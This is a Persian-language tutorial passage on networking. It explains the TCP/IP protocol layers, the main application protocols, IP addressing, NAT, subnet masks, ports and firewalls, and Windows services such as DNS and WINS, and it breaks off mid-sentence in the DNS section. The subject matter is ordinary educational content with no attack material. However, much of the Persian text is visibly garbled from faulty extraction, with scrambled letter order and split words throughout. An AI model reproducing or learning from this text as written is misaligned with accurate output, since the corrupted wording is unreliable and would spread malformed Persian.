وق را تر  ی ن لایا چندی و یک  ی پشته ایل هاک مرجع بوده و پروتیک بصورت OSIمدل   .دی نما یمشخص م  دل ف  یک ب و در کي ه از م
  .ندی نمای میاده سازيه پیلا
  

   ی پشته ایل هاکپروت
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 ٢٠٩    صفحه

  
ا ام  يگر فعال یدیکه با   کل ها است    ک از پروت  ی ، شامل مجموعه ا    یل پشته ا  ک پروت یک وده ت ام  ان ک ت نم را  ي  عملیک انج  یات خاص را ب

ه استفاده یل فوق از چهار لاکپروت.  است   ی پشته ا  یل ها ک از پروت  ی نمونه ا  TCP/IPپروتکل  . ندیا نرم افزار فراهم نما    یسخت افزار و    
  دی نمایم
  
 موجود در ی دستگاه ها مربوط بهیب و داده هاکي را ترData و Physical یه هایه فوق ، لایلا) . Network Interface (یکه ی لا-

  .ردکه را روت خواهد ک شبیک
  
تفاده از آدرس        ) IP(نترنت   یل ا کپروت.  است   OSI در مدل    Networkه  یه فوق متناظر لا   یلا) . Internet(ه دو   ی لا - ا اس شامل   ( IP، ب

  .دی نمای ارتباط را مشخص می، آدرس دستگاه مورد نظر برا) زبان ي مشخصه میکه و ک مشخصه شبیک
  
TCP(Transport control protocol )ل کپروت.  است OSI در مدل Transportه یه فوق متناظر با لایلا) . Transport(ه سه ی لا-

  دی نمایفه مي وظیفایه فوق ایدر لا
  
دل  Application و Session,Presentation یه هایه فوق متناظر با لا   یلا) . Application(ه چهار   ی لا - ل ک روتپ.  است OSI در م
  .ندی نمایفه مي وظیفایه فوق ای در لاSMTP و FTPر ي نظییها
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 ٢١٠    صفحه

  TCP/IPپروتكل  
  
 TCP/IP ابع ز        کل فوق   که پروت کنیبا ا .  بزرگ است    یه ها کثر شب کدر ا  ل استاندارد ک پروت تفاده از من  ی است ، ول   یادی ند و مستلزم اس

دل الایایل مزايب ا وینگ ، حمايت روتيقابل: ر ي آن نظی ب ورم ه لات ف ب پ ای عاملت در اغل ستم ه ان در زم سي تفاده از ي همچن ه اس ن
وق    کبا استفاده از پروت   .  زند یل ها حرف اول را م     کپروت ا در اخت ک ل ف ب     یار داشتن و ي اربران ب ه ش دوز و پس از اتصال ب ت،  یه اکن نترن
  ند ک ینتاش استفاده مکيه از مکبود گر خواهند یاربران دک قادر به ارتباط با یبراحت

  
ال ک  ناول یه اکستم عامل شبي سیحت.  نباشدTCP/IP در رابطه با یافکبه دانش  ازيه نکافت ی توان   ی را م  یطيمتر مح کامروزه    ان يه س

تفاده از پرو ک ی استفاده م  ارتباطات ی برا IPX/SPXل  ک از پروت  یمتماد وق واقف   ک ترد، در نسخه شماره پنج خود به ضرورت اس ل ف
  .نه ارائه نمودين زمی خود را در ایو نسخه اختصاص

  
ا هم   یک وزارت دفاع امر  . دی گرد یطراح) نترنت  ی ا ینسخه قبل  ( ARPAnetه  ک استفاده در شب   ی در ابتدا برا   TCP/IPل  کپروت  یارک ا ب
ود    یستم جهان ي س یک ی از دانشگاهها اقدام به طراح     یبرخ ا و ظرف    ي  قابل یه دارا ک  نم ا ت  ي ت ه دد حت    یه روز جنگ      ی متع  در صورت ب

  .  در نظر گرفته شدTCP/IPه فوق ، ک شبی برایل ارتباطکپروت.  باشدیهسته ا
  

   TCP/IPل ک پروتیاجزا
  

ا  ی  در لایک ه هر  ک ل شده کيگر تش ی د یل ها ک از مجموعه پروت   TCP/IPل  کپروت ام م   یه مربوطه، وظ د یف خود را انج ل ک پروت.  دهن
  .م پرداخت ي آنها خواهی بوده و در ادامه به بررسیت بسزائي اهمی داراNetwork و Transport یه های موجود در لایها
  

   TCP/IPل ک پروتNetworkه ی موجود در لایل هاکپروت
  
ه پروت ين وظی، مهمتر) TCP)Transmission Control Protocolل ک پروت- وق اطم ک ف ان از صحت ارسال اطلاعات است      يل ف . ن

اط مجاز    یکجاد  ین امر ا  یعلت ا .  شود یده م ي نام Connection-orientedحا  ل فوق اصطلا  کپروت ا يامپکن  ي ب  ی ارتب تنده و    یوتره  فرس
ال اطلاعات است يگ د از ارس ده بع اکپروت. رن وع ، امی از اییل ه ات بکن ن اک را بمنظور یشتريان رل خطاه الینت ال ی احتم  در ارس

ان  یارائک ستم ي  سیاتي لش بار عم  یل افزا ي بدل یاطلاعات فراهم نموده ول    د  ک  آن وان  TCPل ک از پروت. افت  یاهش خواه ل ک  پروتیک  بعن
نان از صحت ارسال   يرنده اطلاعات بمنظور اطمي لازم از گیسب آگاهکن امر ارسال اطلاعات و  یعلت ا .  شود یاد م یز  ينان ن يقابل اطم 

تنده است     ا يکدر صورت . توسط فرس سته ه ات یه ب ته  ب ی اطلاع رار نگ  اري  دراختیدرس تنده ق ه ارسال     ي فرس دام ب تنده مجددا اق د، فرس رن
  .دی نمایاطلاعات م

  
وق نظ ک پروت) . UDP)User Datagram Protocolل ک پروت- ر  UDP. دی  نمایت م ي فعال" حمل  " ه ی  در لاTCPل ک ر پروتي ل ف  ب

ه  که سرعت پروتک است یهیبد.  است " بدون اتصال "  بصورت TCPل  کخلاف پروت  سبت ب وده ول  ی سر TCP ل فوق ن د  یعتر ب  از بع
ر .  لازم را ارائه نخواهد داد     ناتيتضم  نترل خطا ک تفاده از پروت     ین جا یبهت اه اس وارد     ک گ وق در م را  ک  است    یل ف افت  ی ارسال و در    یه ب

  . م ياز نداشته باشينان ، ني سطح بالا از اطمیکاطلاعات به 
  
وق در لا کپروت) . IP)Internet Protocolل ک پروت- ب ه ی ل ف ا یه اکش ه  ي وظیف ر ک ف سئول یرده و مهمت سته    یت آن درين م افت و ارسال ب
د    يات روت ي ، عمل ی نسبت داده شده منطق    یل فوق با استفاده از آدرس ها      کپروت.  به مقاصد درست است      ی اطلاعات یها ام خواه نگ را انج
  .داد
  

   TCP/IPل ک پروتApplicationه ی موجود در لایل هاکپروت
  

شده و در سطح لا  IP و TCP  ،UDPل کا به سه پروت صرفTCP/IPل کپروت سترده ا  ی داراApplicationه ی  محدود ن  ی مجموعه گ
ا   ییال زدا ک مشاهده ، اش   ی برا یی فوق بعنوان مجموعه ابزارها    یل ها کپروت. ل ها است    کر پروت یاز سا  ات ي ر عملی و اخذ اطلاعات و س

  .م پرداخت يل ها خواهکن پروتی از ایخ برین بخش به معرفیدر ا.رندي گیمورد استفاده قرار م
  
گر  یوتر ديامپک  و ترويپامک یک ی موجود بر رویل هایر فايثک تیل فوق براکاز پروت) . FTP)File Transfer Protocolل ک پروت- 

افت یا در یرسال و   ان ا کرده و ام  کفه  ي وظ یفایرنده ا يس گ یه بعنوان سرو  ک بوده   ی برنامه خط دستور   یک یندوز دارا یو.  گردد یاستفاده م 
  .ندک ی فراهم مFTPس دهنده ی سرویکل ها را از یفا
  
ار     ک از پروت) . SNMP)Simple Network Management Protocolل ک  پروت- وق بمنظور اخذ اطلاعات آم تفاده م  یل ف  ی اس

 MIB)Management یک ار در ک ات ي  مطرح و ماحصل عملSNMP آژانس یک، درخواست خود را از یتیریستم مدي سیک. گردد
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Information Base (گرددیره ميذخ  .MIB ه  ک بوده ی اطلاعاتک بانیک ا يامپکه اطلاعات مربوط ب ب  یوتره ه را در ک موجود در ش
  ) وجود داردکسی هارد دیزان فضا يمثلا چه م.( د ی نمای میخود نگهدار

  
شاهده فا ی اجرا ،log onاربران قادر به کل فوق کبا استفاده از پروت . TelNetل ک پروت- ا ی  برنامه ها و م ر رو  یل ه  یک  ی موجود ب
  . ل فوق است يرنده جهت فعال نمودن و استفاده از پتانسيس دهنده و گی سروی برنامه هایندوز دارایو.  باشندیوتر از راه دور ميامپک
  
  . گرددی استفاده ميکیونترکام الي ارسال پیل فوق براکاز پروت) . SMTP)simple Mail Transfer Protocolل ک پروت-
  
وق مشهورتر  ک پروت) . HTTP)HyperText Transfer Protocolل ک پروت- را   ی ل در اک ن پروتیل ف وده و از آن ب روه ب ج ی  راین گ
ا     یوترها قادر به مبادله فا    يامپکل فوق   کبا استفاده از پروت   .  گردد ی وب استفاده م   یعنینترنت  یس ا ین سرو یتر ا فرمت ه اوت  یل ها ب (  متف

وق م  ک  مبادله اطلاعات با استناد به پروتیبرا. خواهند بود...) دئو وی ، صدا، ويکیر ،گراف یمتن، تصاو  وق از  یست ، سرو ی  بایل ف س ف
تفاده از سرو        یکنندگان با استفاده از     کاربران و استفاده    کس دهنده وب فعال و در ادامه        یق نصب سرو  یطر ه اس ادر ب س ی مرورگر وب ق

  . فوق خواهند بود
  

  ) . NNTP)Network News Transfer Protocolل کپروت
  

ر  ی گروه ها  ی برا ی ارسال یام ها يت پ یری مد یل فوق برا  کاز پروت  وم   ی خصوص  ی خب تفاده م    ی و عم ردد  ی اس را .  گ  نمودن   یاتي  عمل یب
ده    یست سرو  ی  با یس فوق م  یسرو د  NNTPس دهن ا ي  پیره ساز ي ت محل ذخ یری بمنظور م ال یام ه ه   ی ارس اربران و ک  نصب و در ادام
  ردکره شده استفاده خواهند ي از اطلاعات ذخNewsReader موسوم به یرندگان با استفاده از برنامه ايس گیسرو
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  ندوزي ویه اکانات شبکام
  

ل ويس دوز، نظیستم عام اين اير سیر س بیستم ه ل ش سک امیه اک عام ات و پتان ايان سترده ایل ه ای گ ه ا را در چ  از یرچوب مجموع
س          یه شده را م   ی ارا ی ها ینولوژکت. دی نما یه م ی ، ارا  ینولوژکت ده تق روه عم ود    ي توان در سه گ وژ کت: م نم ا  ینول اط ، سرو     ی ه س ی ارتب
  .م پرداخت ي فوق، خواهیه شده در گروه هایانات اراک از امیک هر ی به بررسقسمتن یدر ا. ت يه و امنک شبیها

  

  :ارتباطات امکانات  

.  گردند یستم عامل اجراء مي سیه بر روک است یی برنامه های لازم برای ارتباطیس هایه سرویستم عامل ؛ اراي سیکه ياز اهداف اول
ا       ی و و  ٢٠٠٠ندوز  یو ه ه راه   را  ییندوز دات نت ، برنام ه هم وده  ی  اراAPI ب ات لازم در خصوص ن  که امک ه نم وق را    ي ان ه اهداف ف ل ب

ر    یات ارسال و دريست قادر به درخواست عملی بایگر ، برنامه ها م  یرت د عباه  ب. دی نما یفراهم م  اده ت ا س ن،از ک ن حالت مم یافت داده ب
ب ( ست صرفنظر از نوع ارتباط      ی با یستم عامل م  يس. ستم عامل باشند  يس ب یه محل کش ا ک ، ش دون  یه ه ل ، ارتباطات مبتن   ک ب ر خط   یاب  ب

  . دینماه ین خصوص ارایانات لازم را در اک، ام) تلفن 

  
ل ک ت لازم در خصوص پروت     ی ندوز حما یو. دی نما ی خود استفاده م   یه و ذات  يل اول ک ، بعنوان پروت   TCP/IP یه ا کل شب کندوز از پروت  یو
اول ، سازگار است را ن   ک شر IPX/SPX یه اکل شبکه با پروتک Microsoft NWLinkر ي تر نظیمیه قدک شبیها  یه م ی ز اراي ت ن
وق ،  کان استفاده از پروتکب ، امين ترتیبد. ط انتقال است ي آن نسبت به نوع محی ، عدم وابستگTCP/IP لکت مهم پروت یمز. د  ینما ل ف

اط  TCP/IPل  ک ، بصورت مستمر با پروت     . NET Enterpriseس دهندگان   یسرو.  وجود خواهد داشت     یه ا کدر هر نوع شب     ، در ارتب
وان پروت وده و از آن بعن تفاده میل اساسکب د ی نمای اس ه نقش ح. ن ا توجه ب راک پروتیاتيب وق ب ر سروک ایل ف دگان یث  NETس دهن

Enterprise . س دهندگان یه از سروک یه اک شبی و نگهداریاده سازي ، پی، طراحNET Enterprise . ستلزم  ی نمای، استفاده م د ، م
ه   یيم به جزین مقاله قصد نداریا در. ت و نحوه ارتباط برنامه ها با آن اس       TCP/IPل  کرد پروت ک از نحوه عمل   یشناخت مناسب  وط ب ات مرب

ب          ک ه پروت يم اول ي با مفاه  یی پرداخته و هدف صرفا آشنا     TCP/IPل  کپروت تفاده در ش وق ، بمنظور اس ا  کل ف ر س   ی مبتن  یه ه ستم عامل  ي  ب
  . ندوز است یو

  
   TCP/IP یآدرس ده

  
وق ،  . ( فرد باشنده ب  آدرس منحصر یک یست دارا یا ب ی ، م  TCP/IP بر   یه مبتن ک شب یک ی موجود بر رو   یوترهايامپک یتمام آدرس ف
IP را      یک به اختصاص    یادیرد آدرس فوق شباهت ز    کعمل) .  شود یده م ي نام ان      . وتر دارد   يامپک  ی شماره تلفن خاص ب ا در زم آدرس ه
روه از اعداد توسط          ) . IP:192.168.10.10: ر  ي نظ.(  شوند  یه م  ی ارا dotted-decimalش با فرمت    یو نما ) ردن ک وارد( درج هر گ
ردد  یاد م ی  ، octetه از آنان با نام ک شوند   ی نقطه از هم جدا م     یک ات    IP آدرس یک .  گ اوت اطلاع  یک :  است  ی ، شامل دو بخش متف

رد م ه ب   شماره مشخصه منحصر   یک و  ) Network ID Number( ه کشماره مشخصه شب ان  يف شماره   ) . host ID number( زب
ر رو    یوترهايامپک یداشته و توسط تمام    ا شهر یه و   ي ناح یکد  ک به   یادیاهت ز ه ، شب  کمشخصه شب  ب یک  ی موجود ب ترا  ک ش ه اش  که ، ب

ان ، باق يشماره مشخصه م.  شودیگذاشته م  ن است يزب ده شماره تلف بي میک یاملا انحصارک و بصورت .مان ان خاص در ش ه را کزب
رد  ه ب  منحصرIP آدرس  یک ینترنت دارا ی موجود در ا   یوترهايامپک یمامه ت کن موضوع   ینان از ا  يبمنظور اطم . رد  کمشخص خواهد    ف

ند ، فرآ یم  ا   ی باش د اختصاص آدرس ه د ) IANA)Interner Assigned Numbers Authority ، توسط  IP ین ردد  یت م یریم .  گ
IANAا رار داده و و مراISP یز اصلکار مراي را در اختIP ی  آدرس ه اک ، ق وق، آدرس ه وقير اخت را دIP یز ف راد حق  و یار اف

د دادیقيحق رار خواهن لاIANA  . ق ه ب اک  س راIP ی از آدرس ه تفاده خصوصی را ب وده استی اس تفاده از کام. ( ، رزرو نم ان اس
د گرفت      ی ا یوترهايامپکار  ي فوق ، در اخت    یآدرس ها  رار نخواه ا و موسسات م        ) .نترنت ق ا      یسازمان ه د از آدرس ه  ی خصوص  ی توانن

  . ندی خود استفاده نمای اختصاصیه هاکفوق، در شب

  
ه ن  IPv6 ، با نام     IPد  ی جد یمدل آدرس ده   ده  یفزا ( یاز تصاعد ي  ، است و قرار است ب ا    ) ن داد آدرس ه ا تع  در دسترس و  یدر رابطه ب

ا   ک موجود در حال حاضر ام       یسخت افزار ها و نرم افزارها       .  پاسخگو باشد  یعموم ات حم تفاده از  یتیان  را دارا IPv6 لازم بمنظور اس
د IPv6. م یي نمای استفاده میمی قدیل ما همچنان از مدل آدرس دهين دلی باشند و بد ینم  یده است ول  ی ه مطرح گرد ک ن سال است   ی ، چن
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د است و نبا     ک ی آهنگ  یات آداپته نمودن آن دارا     يعمل دل آدرس ده     ک م  يد انتظار داشته باش      ی ن زود     یه م وق را ب ط خود شاهد     ي در مح   ی ف
  . ميباش

  
ند  ینترنت نمیم به اي مستق یابيند ، قادر به دست    ی نما ی استفاده م  IP یه از آدرس خصوص   ک ییها وتريامپکه  کنیبا ا  را (  باش ت یب ه  یابي دس  ب
وم  یک ست ازی  باینترنت ، میا ردد  IP ی آدرس عم تفاده گ س  ) Network Address Translation(NATاز ) .  اس وان پتان ه ک  یليبعن

ا     ک ، ام  NAT.  گردد ی است ، استفاده م    ی و خصوص  ی عموم یقادر به ترجمه آدرس ها      بمنظور   ی خصوص  IP یان استفاده از آدرس ه
ه ا    را    یاتصال ب راهم و باعث         یک اربران  ک  ینترنت را ب ا     ک  سازمان، ف داد آدرس ه وم  IP یاهش تع ورد ن   ی عم اط و     ي  م  از بمنظور ارتب

ردد  ینترنت م  ی به ایابيدست دوز دارا ی وRouting and Remote Access Service(RRAS( س یسرو .  گ س  ي  قابلین ا و پتان ل يت ه
  . گر استی دیديلک یل هاير پتانسی سابه همراه NAT یها

  
  

   Subnet و گنروتي

  
ا    کوتر در شب  يامپک یادی وجود تعداد ز   یوتريامپکه  ک شب یک یبرا ان ، نم   ی مناسب و سر    یس ده  ی بمنظور سرو    ییه و عدم توان ه آن  یع ب

ابع    ه   ب یوتريامپک یه ها کشب).  بزرگراه   یکل در   ي اتومب یادیقا مشابه وجود تعداد ز    يدق. ( ت مطرح گردد  ی مز یکتواند بعنوان    ه من منزل
اط شتریارتب داد زکی م وده و حضور تع ر رويامپک یادی ب بیک یوتر ب ود صدها اتوميه نظک ش کل سرگردان در ترافبير وج  یک ي

راه است  امیريشگيبمنظور پ. بزرگ لوغ(  از ازدح ب ) یش اک، ش دیوتريامپک یه ه ه چن ستقل دی ب ام  سگمنت  ین بخش م ا ن ( گر و ب
Segment (  ا ي  با قابلیوتريامپکه ک شبیکهر سگمنت ، اساسا خود  .  گردند یم م ي، تقس رد خود است   ه  منحصر ب  یت ه ه    . ف ا توجه ب ب

ال اطلاعات ب      م يگر مواجه خواه   ی دیله ايس و، ما با ) ن سگمنتیه به چندکم شبيتقس( رد فوق  یکرو م نحوه انتق  از یک ن هر  يشد و آنه
ب ا است کش ب. ه ه ما ش ر ش اکاگ سایوتريامپک یه ه وان هم ر بگ یه ای را بعن ود در نظ زل خ اورت من وان عرضه ید، میري در مج  ت

 ید ، م يباش خود را داشته یگی در همسای شخص یه قصد ارسال نامه برا    يک نامه دانست در صورت    یکع  یر توز ين آنها را نظ   ياطلاعات ب 
ست            یبا رار ده  یست متن مورد نظر خود را نوشته و آن را در صندوق پ را    يکدر صورت . د ي  مربوطه ، ق ه ب سا یه قصد ارسال نام ه ی هم
ا    . م  یي نما ی ارسال م  ی و ی، به اداره پست مراجعه و نامه را برا        ) شورکگر در   ی د ین در محل  کسا( م  ي را داشته باش   یگرید ست، ب اداره پ

 به مقصد مورد نظر ی مطلوبییارآک تواند نامه را با ی آشنا بوده و میبخوب گری دی به نقطه ای نامه از نقطه ایک) روت( ع  یند توز یفرآ
( نگ  ي مهم و با نام  روتیتي گردند،ما با واقعیگر ارسال میه دک در شبیوتريامپکه به ک در شبیوتريامپکه اطلاعات از   يکزمان. برساند

Routing ( م بودياهمواجه خو .  

  
زار   ینگ ، توسط دستگاهها   يروت ام      ی خاص  ی سخت اف ا ن ر   ب د    روت ردد  یت و اداره م    یری ، م ر .  گ د   روت ا ، چن ب یه ان  کن ش ه را در زم
ر ا  رد روترکعمل.  باشندیه ها مکن شبيب) داده (  انتقال اطلاعات ريگر متصل و مس یده یک  ب یسانیک سلم استوار  ي ن واقعی ها ب است   ت م
ا .  داردیشگي املا محسوس و هم  ک  یوتر مقصد، حضور    يامپک IP ، آدرس    TCP/IPد انتقال اطلاعات توسط     نیه در فرآ  ک  IP یآدرس ه

ب    ان  يو مشخصه م  ) Network ID( ه کشامل مشخصه ش ند یم  ) Host ID( زب ا تامل در   .  باش وم IP آدرس یک ب  :IPر ي  نظی عم
وترها يامپک فوق ، یبمنظور مشخص نمودن مشخصه ها. دی آینظر مل بک مشیزبان ، امريه و مکص مشخصه شبي ، تشخ10.1.4.250

د  کن نی ، لازم است بدSunet maskبمنظور شناخت مناسب نسبت به نقش . ندی نمای استفاده مSubnet maskاز  ه ب ردد   ! یهیت اشاره گ
 از صفر  یوتر بصورت مجموعه ا  يامپک ر ز ديگر، هر چیعبارت ده ب.  شودی ، انجام مینریوتر با فرمت بايامپکت ها در يه تمام فعال ک

   ، مثال فوق را Subnet maskد ينک ضفر.  شود یش داده می نمایکو 

  
  

Subnet :٢۵۵٫٢۵۵ر يکدر صورت. م یري ، در نظر بگ٫٠٫٠ اSubnet mask و IPآدرس   درoctetه ه ه ب دینری را ب ای تب م ، یيل نم
  : م داشت ير را خواهیج زینتا

 
 
IP address : 00001010.00000001.00000100.11111010  
 
Subnet mask: 11111111.11111111.00000000.00000000  
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Subnet mask   دام بخش از آدرس      ک ه  ک د  ی نما ی ، مشخص مIP      ب شاندهنده مشخصه ش شاندهنده مشخصه م   ک ه و ک ، ن ان  يدام بخش ن زب
دار  ک Subnet maskت در يهر ب. ت است ي بای است و ینری ، شامل هشت رقم باoctetه هرکد يدقت داشته باش. است   را دارا یک ه مق

ا   Subnet maskهر صفر در  . ه ، است ک مشخصه شبIP از آدرس یاست ، نشاندهنده بخش رتبط ب وط  IPت در آدرس ي  بیک  م  ، مرب
  ه شامل کن ، در مثال فوق، مشخصه شبیبنابرا. زبان است يبه مشخصه م

  
  

network ID : 10.1.x.x زبان يم و مشخصه  

  
host ID : 4.250 ه ک د يدقت داشته باش  .  ، استSubnet mask واره شامل رشته ا   ی  بای ، م وده   یک  از یست هم ا ب دنبال آن  ک  ه ه ب

رار م     از صفر  یرشته ا  ا ، ق ذ ک ن امر ام ی  ایوري از لحاظ ت . ردي  گیه ود   یان پ د ب ه  ک م ي باش Sunbet mask یک  یه داراک ر خواه ه ب
ا   ها و صفر   یکرشته  ( شده باشد ر ترجمه   ی مطابق ز  یزيچ وع  ی  ایول ) . رت داشته باشد  یها با اصل اشاره شده مغ  در حال  subnetن ن

  .  گردد یت نمی حماTCP/IPحاضر توسط 

  
١١١١٠١١١٫٠٠١١١١٠٠٫١١١٠٠٠١١٫٠٠٠٠٠٠٠٠   

  
ا مشخصه            کازمند ارسال اطلاعات است ، از مشخصه شب       يندوز ن یه و يکزمان تفاده و آن را ب ب ه مقصد، اس ه خود ، مقا   کش وط ب سه ی ه مرب
ب ی موجود بر رویوتر محل يامپک یک یندوز اطلاعات را برا   یسان باشند، و  یکه ،   که دو مشخصه شب   يکدر صورت . دی نما یم ه ارسال  ک ش
ب یه مشخصه هايکدر صورت ) . نگ وجود نخواهد بود   ي به روت  یضرورت( دی نما یم ند ، و یک ه ک دو ش دوز اطلاعات را  یسان نباش را  ن  یب

gateway آدرس  یک. ( دی نما یش فرض ، ارسال م    ي پ IP شده است یربنديکندوز پیه در وک خاص  . (gateway ش فرض، معمولا   ي پ
ات    ک شب یت استقرار داده بر رو    يولئروتر مس .  روتر است    یک سته اطلاع زوم ب را یه مورد نظر را بر عهده داشته و در صورت ل  ی را ب

د  يمقصد ن  وتريامپک  رسد ،  ی به مقصد مورد نظر م ی بسته اطلاعاتیکه يک برنامه زمانیپورت ها.رد کگر ارسال خواهد  یروتر د  ازمن
د  .  انجام شودیافتی دریست در رابطه با بسته اطلاعاتی بایه مک است  یاتيص نوع عمل  ي بمنظور تشخ  یروش ام چن اوت  ي ن عملیانج ات متف

ثلا فرض   . دی  آیده بنظر ميچي پی، امرا ارکن و ئ حالت مطمیکه در کت شبي وضع یبصورت همزمان و نگهدار    تفاده از   ي نکم ا اس د ، ب
شاهده         ر، قصد م ا   یک برنامه مرورگ ان حالت پنجره ا        يت را در پنجره مربوطه داشته باش          ی وب س ال و   ی دید و در هم ند  یک گر فع  س

word        وع تراف    يامپک ی بر رو  ین حالت ي ، در آن فعال شده باشد در چن ا يک تراف: ودم ب ي خواه يک وتر خود شاهد دو ن ه باعث  ک  یی داده ه
ا ده و ترافینم ر ش ايکش صفحه وب در مرورگ اک یی داده ه ند یکش یه باعث نم دword س د ش ه از ايامپک.  خواه ما چگون ن یوتر ش

 را اخذ  یگر یست بخش د ی  بای م Wordه يک افت در حال ین بخش داده را در   يست اول  ی  با یه مرورگر م    کد  ی نما یدا م ي پ یموضوع آگاه 
  د؟ ینما

شابه      . است    ) port( پاسخ به سوال فوق ، شماره پورت         ورت ، م را  IP آدرس   یک پ ر رو         یک  ی ب ه خاص موجود ب وتر يامپک  ی برنام
ی وتر شما داده     يامپک ه  يک زمان. است   را ی  نما ی را ارسال م     ی ردد ی ارسال م  IP آدرس یک  ید ، داده ب ب   ک  گ شاندهنده ش ان  يه و مکه ن زب

ورد نظر ،  صد م راهمق ه هم ورت خاص است  یک ب ماره پ ه خاصکش ر رویه برنام ايامپک ی را ب صد نه وان مق صد ، بعن  ییوتر مق
را            یمثلا درخواست ها  . ردکاطلاعات مشخص خواهد     واره ب ه صفحات وب ، هم وط ب ورت    ی مرب د شد        ٨٠ پ  ،  IANA.  ارسال خواه

ا که اکبوجود خواهد آمد نان ين اطمیز برعهده داشته و ا يت اختصاص شماره پورت به برنامه ها را ن        يولئمس داول دارا یثر برنامه ه  ی مت
ر یوتر مبتنيامپک یکه يکزمان. ن راستا خواهند بود  یفرد در ا  ه   شماره پورت منحصر ب    یک دوز، داده  یستم عامل و ي س  ب ی ن افت  ی را دری
   .دیافت نمایست داده را دری بایدام برنامه مکه ک تا مشخص گردد ید ، شماره پورت آن بررسی نمایم

  
داد ز  .  باشند یت م ي مهم در رابطه با امن     ی نقش یپورت ها دارا   ا ، ام    ک از شر   یادی تع ا     ک ت ه وم از وب س تفاده عم س یا سرو ی ت و یان اس

ت ک  به فراهم نمودن امیلیت ها و موسسات تماکشر. ندی نمایل ، فراهم میافت فای را بمنظور درFTPدهنده   ه سرو   یابيان دس وم ب س ی عم
د     یه اختصاص کشب ر منابع موجود در   یس دهندگان چاپ و سا    یل ، سرو  یدهندگان فا  وق ، از طر    ي عمل  از یک هر   . خود ، را ندارن ق ی ات ف

 و  يک نگ تراف  یلتري خاص بمنظور ف   یگاهی جا یپورت ها دارا  .  نمود ک آنها را بلا   ی توان بنوع  ی شماره پورت خاص انجام شده و م       یک
 ISA(Internet Securityر يروال نظی فایا نرم افزارهایده شده و يروال  نامی فاهک یه اک شبیدستگاه ها.  باشندیه مک شبیمن سازیا

and Acceleration Server ( ب  ی وروديک نترل ترافک، قادر به ه ش ر رو ک ب ا   یه ب ورت ه وده و حت  ی خاص ی شماره پ وان  ی م ی ب  ت
ا    IANA. رد  ک ک ، بلا  ی خاص ی پورت ها  ی را بر رو   يکتراف ا      ی، شماره پورت ه ورت        ک ف  ی  را تعر  ١٠٢۴ صفر ت ام پ ا ن ان ب ه از آن
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ا ام  ، یه وش ن رددیاد می  خ امل لیو.  گ دوز ش وده  ی از ایستين ا ب ورت ه که در کن پ ام یل متنی فای ا ن  و در آدرس Services ب
system32\Drivers\ETCره شده اندي ، ذخ .  

  
   سرويس های شبکه

  
ب         یه م که  ی را ارا  هک شب ی اساس یس ها ی از سرو  یندوز، مجموعه ا  یستم عامل و  يس وع ش ا    ( ه  ک توان از آنان در هر ن زرگ ت ،  )کوچ کب

انات فوق، شامل کام.  گردند ، قابل استفاده خواهند بودیه میندوز ارای وبه همراهه ک یس ها توسط عناصر انتخاب  ین سرو یا. رد  کاستفاده  
شر د.  باشدی ، مRRASس ی و سروIP یربنديکس پی ، سروName Resolutionس یسرو:  ا ی از سرو یک ح هر  یر ادامه به ت  یس ه

  . م پرداخت يفوق خواه

  
  

   Name Resolutionس یسرو

  
رو ب Name Resolutionس یس وع ش ر ن اهیت و جاي اهمیه داراک ، در ه ت یگ اص اس را يامپک.  خ ا ب یگر دیک ی آدرس دهیوتره
ر   دار ی معنی ما ، با اسامی باشند ولی مIP یمند به استفاده از آدرس هاعلاقه ثلا  ( م ين ک یار م ک بهت  nameس یسرو  ) . ServerAم

Resolution  را ی معنیه همچنان از اسامکاربران قرار خواهد داد کار يان را در اختکن ام ی ، ا ا  ی سرو ی دار ب دگان و س ابع  یس دهن ر من
ه   IP یآدرس ها به یاسام ) Resolve( بمنظور ترجمه   یاناتکست از ام  ی با ی م ین موارد يدر چن . ندیه استفاده نما  کشب ا در ادام  استفاده ت
  : ه نموده است یس را اراین رابطه دو سرویندوز در ایو. ه فراهم گردد کنه ارتباطات در شبيزم

  
DNS)Domain Name System (و WINS)Windows Internet Naming Service . (  

  
  

DNS   
  

ا ي س.  گرددیه می اجراء شده است ، اراDNSس دهنده ی سرو یک آنان   یه بر رو  ک ییها وتريامپک ، توسط    DNSس  یسرو  عامل  یستم ه
دوز تقریو وع سروین ر ن ا ه ا ب ده یب ازگار مDNSس دهن تاندارد س ند ی ، اس ثلا سرو. (  باش دگانیم ر روک یس دهن ل ي سیه ب ستم عام
ا سرو  ی نسخه اختصاصیندوز دارایو) .  گردند یس اجراء م  يکونی ده  ی خود در رابطه ب وده  DNSس دهن ر رو  یه م ک  ب وان آن را ب  ی ت

  . ، نصب نمود) ا دات نت ی و ٢٠٠٠( ندوز یستم عامل ويهر نوع س

ردد ی ، استفاده م IP یوترها به آدرس هايامپک ی ، بمنظور ترجمه اسامWINSست ؟ ي چWINS و DNSن  يتفاوت ب  تفاده  یاسام . گ  اس
وع خاص    ا  یشده ، ن ام ه ر و ی مبتن ی از ن دوز م  ی ب ند ین ه اسام       ، بمراتب م DNS.  باش وده و از آن بمنظور ترجم ر ب داول ت ان  ي میت زب

ر و   ی خاص مبتن   یاسام( ن دو نوع نام     ي ب یادیندوز ، تفاوت ز   یط و يدر مح .  شود   یاستفاده م  دوز و اسام    ی ب ان  ي م ین وجود نداشته و   ) زب
ادل م وع ، مع ر دو ن ندیه سخه و.  باش دوز یاز ن د ، تا٢٠٠٠ن ه بع تفاده از کي ب ر اس تور  دDNSد مضاعف ب ه و کر دس رار گرفت ار ق

دود و   یکما تفاده مح افت ، اس گ کروس وان  ی در وWINSم رن دوز را بعن کن ور ي سی ت مح ال م  ی در ویاس دوز دنب   . دی نماین
ده    ی سرو  یک  و حداقل     IPست آدرس   ی با یه ، م  کشب  موجود در  یوترهايامپک از   یک هر IP یربنديکبمنظور پ   را مشخص    DNSس دهن

ل آدرس      DNSس دهنده   ی توان از نام سرو    ین رابطه نم  یدر ا . ردک ود  IP در مقاب تفاده نم ه اسام   یروش .( ، اس ه آدرس  ی بمنظور ترجم  ب
IP   س دهنده   ی سرو یک بدونDNS  آدرس   یربنديکپس از پ  ).  وجود ندارد IP ده    ی سرو دوز   ی ، و  DNSس دهن ا    ٢٠٠٠ن سخه ه د  ی و ن  بع

  .  معادل ، خواهند بودIPه نام به آدرس ترجم  بمنظورDNSس دهنده یاز آن ، قادر به استفاده از سرو

سله مراتب  ی اDNSستم يس صورت سل ت ، ب ت ینترن الاتر.  اس طح ، یدر ب اdomainن س الا و  ی ه طح ب  TLDs)Top-levelا ی س
